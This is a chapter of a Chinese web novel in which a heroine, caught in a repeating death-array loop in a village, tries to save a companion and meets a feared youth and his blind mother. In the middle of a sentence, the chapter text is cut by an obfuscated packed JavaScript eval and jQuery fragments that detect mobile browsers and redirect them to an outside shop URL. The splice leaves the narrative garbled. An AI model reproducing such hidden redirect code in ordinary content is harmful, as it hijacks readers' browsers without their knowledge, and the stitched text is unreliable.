67. 功德+67

作品:《我在凶宅当人形驱诡器

    如今日已高悬,一缕光恩赐般照在杜阿枝瘦如柴骨的身形。


    她脸颜如渥丹,几绺发丝贴在干裂脱皮的嘴唇上,对将要面临的一切无知无觉。


    “这都几时了,再不动手,恐怕要错过良辰咯。”


    “甭管那什么时辰,老子可真要走了,家里的鸡都要饿得不下蛋了。”


    人群之中躁意愈发显现,几个五大三组的男人正大放厥词地随便编排她人性命。


    那杜家男人似乎也觉得差不多到了时辰,朝那持着大砍刀的刽子手一扬下巴,刽子手猛地举起砍刀。


    刀光锋寒如棱。


    众人也终于停止了闹腾,所有人似乎都在准备着什么。


    眼睛死死盯着那大刀,眼神里没有半分对生命的敬畏,只有见到肉腥麻木的狂喜。


    李俟菩早已没了那股气定神闲,不管这生死阵是让她们夺舍了某个村民,还是另添了什么别的身份。


    她都不能拿余愁山的命做赌。


    生死阵的陷阱在暗,万一余愁山的命早已和这个村民息息相关,岂不是一尸两命?


    就在刀刃削掉余愁山立起的几根青丝时,李俟菩的脚尖动了,一颗尖锐的石子朝那刽子手掷去。


    刽子手虎口一麻,大刀脱手,空心的木台被捅穿,木屑飞扬。


    人群响起此起彼伏的惊呼。


    李俟菩却瞬间感觉天旋地转,身体失去知觉,她心道不妙。


    果然,等她再次苏醒,又回到了原点。


    只不过这次,那无脸的男人没有怼上来。


    她环绕四周,居然回到了她绕过的某条山路。


    树冠层叠,蜿蜒小径中,光线昏暗。


    什么意思,干涉他人命运也是阵法重蹈覆辙的必要关键?


    可不救,余愁山就会死。


    李俟菩迈开步子,开始头脑风暴。


    可想出来的法子都被她无疑例外的排除,根本没有一个能两全的方法。


    既然那女人注定要死,余愁山怎么会夺舍到她身上?


    这是随机的,还是有人故意安排?


    山路崎岖不平,鞋底踩着的石子儿有些硌脚,李俟菩一步作三步走,蓝到发白的鞋尖磨破了都没发觉。


    忽然,幽深莫测的密林深处传来一声极低的啜泣,随即响起尖细的求饶声。


    李俟菩脚步陡然一停,后加快脚步,快速离开了这片邪怪之地。


    一般大山深处,亡人不在少数,树荫遮盖的黑暗就成了诡物最佳的栖息之地。


    但李俟菩现在可没空管这些。


    日头不知何时隐于云间,好似同之嬉戏一般,这时又将那阳光收了回去,整个村庄被静谧覆盖。


    走到大门口,远处的人语不断涌入李俟菩的耳中,这些人居然悠悠洒洒地散场了。


    李俟菩的心跳空一瞬,怎会?


    难道这破阵将这场狂欢提早了一炷香?!


    她还是来迟了?


    李俟菩眸光深邃,朝那木台来回扫量。


    却不见余愁山身首分离,也不见那杜家男人,除了横躺在地上没见血的大砍刀外,空无一物。


    空气依旧徘徊着山间的清新,人群的碗里也没有盛上血腥。


    除了有些困惑,李俟菩的心放进了肚子里。


    “切,那瞎娘儿子的疯病真是越来越厉害了,一人遭殃全村,我呸!”


    “哎呦,小点儿声,到时候被那疯子听到,小心你的脑袋。”


    “我看杜阿枝偷情的男人就是他吧,护得跟个宝贝一样。”


    “姓杜的也是个怂蛋,听到要真刀真枪的约架,屁都不敢放一个,居然跑了。”


    几人从李俟菩身边路过,她捕捉到了几个关键词。


    瞎娘的儿子?


    还没等她再细想,背后肩头传来一阵疾风。


    李俟菩不慌不忙地一闪,身后女人扑了个空,重重摔在地上,嘴里叫苦不迭。


    “嘶,你这小妮子……”女人喘着粗气,刁道,“居然敢偷跑出来,我今天非要把你腿打折不可!”


    是那跛脚的女人,李俟菩冷道:“杜阿枝呢?”


    “什么?”这女人似乎耳朵还有些不好使,待反应过来后,盯着她看了好一会儿。


    “才嫁进来一天,就认识了那疯女人,你胆子不小啊,我说昨儿晚上你在院子里呆站着干什么呢,自家男人不关心,尽想着跑了是吧!”


    这女人话语前后逻辑不通,说着居然就这么在地上捶胸顿足,不见起身,扯着嗓子大喊。


    于是,其他还没散干净的人一下子全围了上来。


    “哎呦,大家快来看看啊,我们家竹泉可真是可怜,居然娶了她这么个白眼狼……”


    有个发髻松散的女人听后,上前道:“呦,你这媳妇儿精神有问题吧,走到大门口居然没想着跑?”


    “对啊周家婆娘,你这是干嘛,娶了个这么漂亮的媳妇儿,怎么还挑三拣四的?”


    “喂,听说你家周竹泉成了亲,痨病就好了,这是进福了啊,你这恶婆婆还不得对人家好点儿?”


    酸里酸气的话将地上这周家婆娘的面子打了个干净,见没人帮她,扶着膝盖站起来,指着李俟菩的鼻尖嘶吼。


    “娶她进来就是冲喜的,要是不来福,她就得和那个杜阿枝一样的下场!”


    李俟菩脸上笼起一层阴云,听这些人的口气,自己这原身难道不是清湾村的人?


    “杜阿枝今天是运气好,那疯子跑出来就得杀人,杜家男人要是不怂,今天他们三个人都要一起死!”


    有人一语道破,李俟菩静静站在原地听着,杜阿枝这是被他们口中的疯子救了?


    “是吗。”


    一句冰冷刺骨直戳人的心窝,晴空万里的天突然打起雷来。


    轰隆——


    人群兀地噤声。


    李俟菩回头,一道与众不同的清减身影落至她眼底。


    “这疯子刚刚不是走了吗……怎么又回来了?”


    细若蚊虫的声音在周围响起,人群瞬间散了大半,脚步慌张,畏之如虎。


    李俟菩匆匆瞥了眼,这男人衣裳薄得很,领口微敞,头发乱糟糟的,像个没修理的鸡窝。


    从骨骼生长发育来看,这男人才不到十九岁,还是个孩子。


    就是那张脸嘛,与旁人没区别,看不出什么轮廓。


    疯子上前了两步,周家婆娘汗洽股栗,不敢说话。


    疯子似乎朝李俟菩的脸看了一眼,讥笑道:“嫁给周竹泉,你算是悲哀中的幸运了。”


    李俟菩故作不懂,问道:“杜阿枝在何处?”


    疯子却被她这态度搞懵了,似乎是李俟菩的表情没达到他预期,愣道:“你认识她?”


    “不认识。”李俟菩说,“但跟我问她在哪儿有何联系?”


    疯子笑了,“当然没有。”


    周家婆娘看这两人一来一回的,畏首畏尾,威胁的话到嘴边打着颤,就要去抓李俟菩的手。


    “周小花,跟我回去煮饭!再敢磨蹭……”


    李俟菩却没让她碰到一点衣角,反倒是那疯子温柔地开口。


    “周婆婆,这个时候竹泉哥该吃药了吧,他病了这么久,我都还没来得及去看望一下……”


    “何卞!你要是敢动我儿子,我就是死也要跟你拼了!”


    周婆瞬间惊恐万状,几乎是爆发地吼出声来,大惊失色。


    李俟菩朝他望去,疯子不在乎地耸耸肩,似乎在说,干他屁事。


    周婆却彻底慌了,没再管李俟菩,转身就往回跑。


    吵闹的人一走,乌云覆盖之下,唯余两人。


    李俟菩双手抱胸,略微抬头。


    这山中的云啊,还真是比翻书还快,天色黑得像是要下墨滴。


    “想见杜阿枝,就跟我走。”


    疯子突然道,然后头也不回地就往另条路走去。


    李俟菩无话跟上,落后一步,快速了眼他。


    这小孩儿根骨倒是不错,若说打架靠狠,行事疯癫,那这全村的人惧怕他,也不无道理。


    或许她能从这人身上得到点信息。


    半路,疯子道:“我叫何卞。”


    李俟菩挑眉,这自我介绍倒是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16748410|179652||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有点突如其来。


    况且,这孩子走了好久都浑身放松,没对她防备,让她有些拿捏不准他要作甚。


    “你呢?”他问。


    狂风将一侧屋舍的扫帚吹倒在地上,李俟菩回:“周小花。”


    “我是说你以前。”何卞直视前方,语气低沉。


    李俟菩偏头,毫不客气地坐实了失忆的事实,“忘了。”


    没想到何卞停下了脚步,转头,视线似有实质。


    片刻后他又转了回去,继续向前走:“也好,人就是要糊涂点才不会痛苦。”


    李俟菩没有反驳这个观点,琢磨了会儿,问道:“杜阿枝,你如何救的?”


    “你不都听到了?救不了,就杀人。”何卞道,“家里有个祖宗要供着,我得听话。”


    “哦,那些蠢人的话你还是不要信,阿枝姐的男人不是我,她也没出轨。”


    “是那畜牲在外有了新欢,阿枝姐性子温吞,无法割舍,他才想了个刁钻的法子,让阿枝姐再莫追。”


    李俟菩倒也没太惊讶,迟疑说:“你和杜阿枝关系很好。”


    这话不是疑问,何卞也没回。


    一阵沉默,不一会儿,他们便来到一处与旁家相隔甚远的屋舍。


    坐落村庄的最东头,只有孤零零的一颗歪脖子树与之作伴。


    何卞停下,吱呀的开门声带动门轴,李俟菩随他踏入炊烟袅袅的土屋。


    “妈,我回来了。”他轻声道。


    风蜷在墙根中,院里的井口长满苔藓,凹槽都染上青苍。


    听到那声呼喊,一位步履稳健的长者从里屋走了出来。


    她应道:“哎,阿卞,回来了?”


    “我把竹泉哥新娶的姑娘带回来了,她来看看阿枝姐。”


    何卞周身的气息一下变得极其温顺,就像是在外龇牙的狗回来收了爪牙,柔心弱骨。


    “真的?”老人摸索着何卞的手肘,同样无脸。


    但李俟菩能从她尚与正常人不同的行动轨迹中看出,这位敦厚可亲的老妇眼盲。


    她又神不知鬼不觉地朝里屋的那印上花纹的窗子里看了一眼,有人睡躺在木床上,胸腔起伏平稳。


    是余愁山。


    “嗯,妈,你慢点儿。”


    老妇许是欢喜的,一步一步被何卞带到李俟菩身前,轻轻地探上了她的手。


    李俟菩也没有甩开,老妇缓慢地拍了拍她的手背,手茧停留,只听道:“好闺女,受苦了。”


    李俟菩却没来得及再说什么,老人和何卞的身形突然扭曲,那张空白的脸都如颜料般沾了水融化在眼前。


    李俟菩又是一阵眩晕。


    第五次。


    她复睁眼,树林茂密,她又回到了去救余愁山的路上。


    李俟菩:“……”


    饶是她性子再冷淡,这时也不得不想伸出手抠破脑袋。


    这次她什么都没做,怎么又重开了?


    不会是她弄错了这生死阵的触发机制?


    李俟菩在原地愣了好一会儿,前后想了个遍,也没发觉上一次有何意外导致重头再来。


    然而,树林那边又传来一声熟悉的啜泣。


    林梢跃动,李俟菩终于肯将眼睛放在那漆黑一片的林子。


    既然事情发展的顺序是注定的,那余愁山现在应该是早被何卞救了。


    后来两次重开的点停在这条小路上,就说明这哭声是她忽视掉的一条关键线索。


    生死阵的循环定点是不会说谎的。


    李俟菩转脚,靠近诱她深入的源处,却没想到将草叶别开后,视野陡然清明。


    死寂的风游过断壁残垣,一座满目疮痍的弃婴塔矗立在眼前。


    一个无脸的女人双膝跪地,发出支离破碎的求饶。


    她被施暴之人一点点碾着小腿骨,头发向后扯着逼迫仰视,脖子几乎都要被巨力扯断。


    而那藐视一切的施暴者,脸上厌世的神情淋漓尽致。


    未散的霜露濡湿了李俟菩的裤腿。


    她看清了那高高在上的女人。


    “宁松帷。”